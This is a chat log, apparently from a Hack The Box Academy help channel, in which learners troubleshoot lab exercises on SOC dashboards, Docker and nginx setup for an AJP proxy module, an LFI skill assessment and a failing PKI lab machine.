think of it this way: open up the SOC-Alerts dashboard, look at the "Users added or removed from a local group" visualization, and enter the date on which all the events shown in the visualization took place

[orchid ingot]

Not see a new module for a long time?

[fickle fiber]

I tried that, I edited the visualization to include the event.created and I saw different dates for these events, I've tried all the dates I saw in multiple formats

[dim wolf]

you don't need to include event.created

[fickle fiber]

no? so how do you get a date out of that visualization?

[dim wolf]

when following the section, did you not set the panel time range?

[fickle fiber]

yep I've also tried with march 05

[dim wolf]

yea idk then

try refreshing the page

[rustic sage]

Format's Y-M-D

On a tangential note.. where did you get the Feb 27 date? 🤔

[brazen saffron]

Docker is not running because I am getting error and started to download nginx but... :
/configure --add-module=...

./configure: error: invalid option "Intermediary"
https://academy.hackthebox.com/module/145/section/1295

[latent shale]

X

[gaunt dagger]

Hey i'm in skill assessment of LFI module question says to access the web application to gain RCE and read flag at root but I tried everything but cant access anything .

[rustic sage]

https://academy.hackthebox.com/module/176/section/1790

First time PKI machine didn't start. From second time around I can't login into WS001 (says "trust relationship between this workstation and primary domain failed".

[brazen saffron]

Well how am I supposed to do??
https://academy.hackthebox.com/module/176/section/1790

[meager topaz]

can someone tell me how to know public ip of cctv xdr and if cctv using cloud service how to know there url/ip

[cloud urchin]

you having issues with that still?

[brazen saffron]

Yes.

Waiting an answer :(.

[cloud urchin]

whats the issue

[brazen saffron]

It's coming from the docker session...

Its not starting.

[brazen saffron]

^

[cloud urchin]

oh i was talking about the other thing you linked

about the ajp proxy

i dont have win attack & defense so idk

[brazen saffron]

??

I have to start a docker session...

With the port of the target.

[cloud urchin]

your link leads to a different module entirely

[brazen saffron]

??

[cloud urchin]

what module and section are you talking about

[brazen saffron]

There is 2 section....

We need to start a docker session and THEN do the AJP module etc.

[cloud urchin]

what module and question

[brazen saffron]

For this : https://academy.hackthebox.com/module/145/section/1295
I need before tro do this : https://academy.hackthebox.com/module/145/section/1294

BUT, docker is not working.

[cloud urchin]

no you don't

[brazen saffron]

I don't want to have nginx on my lab...

[cloud urchin]

your 2nd link just shows how to install it as an example

[brazen saffron]

On my laptop I mean.

[cloud urchin]

you can just do it with the ajp proxy

tomcat is running on the victim machine

[brazen saffron]

Yeah but...

[cloud urchin]

so you're not targeting your own docker instance

[brazen saffron]

???

[cloud urchin]

so whats the actual issue

[brazen saffron]

Well I re do on pwnbox.

[cloud urchin]

can you just please answer my question i asked 4x already

[brazen saffron]

For now it should works.

[cloud urchin]

what question are you on

[brazen saffron]

The first link.

[cloud urchin]

k and where are you stuck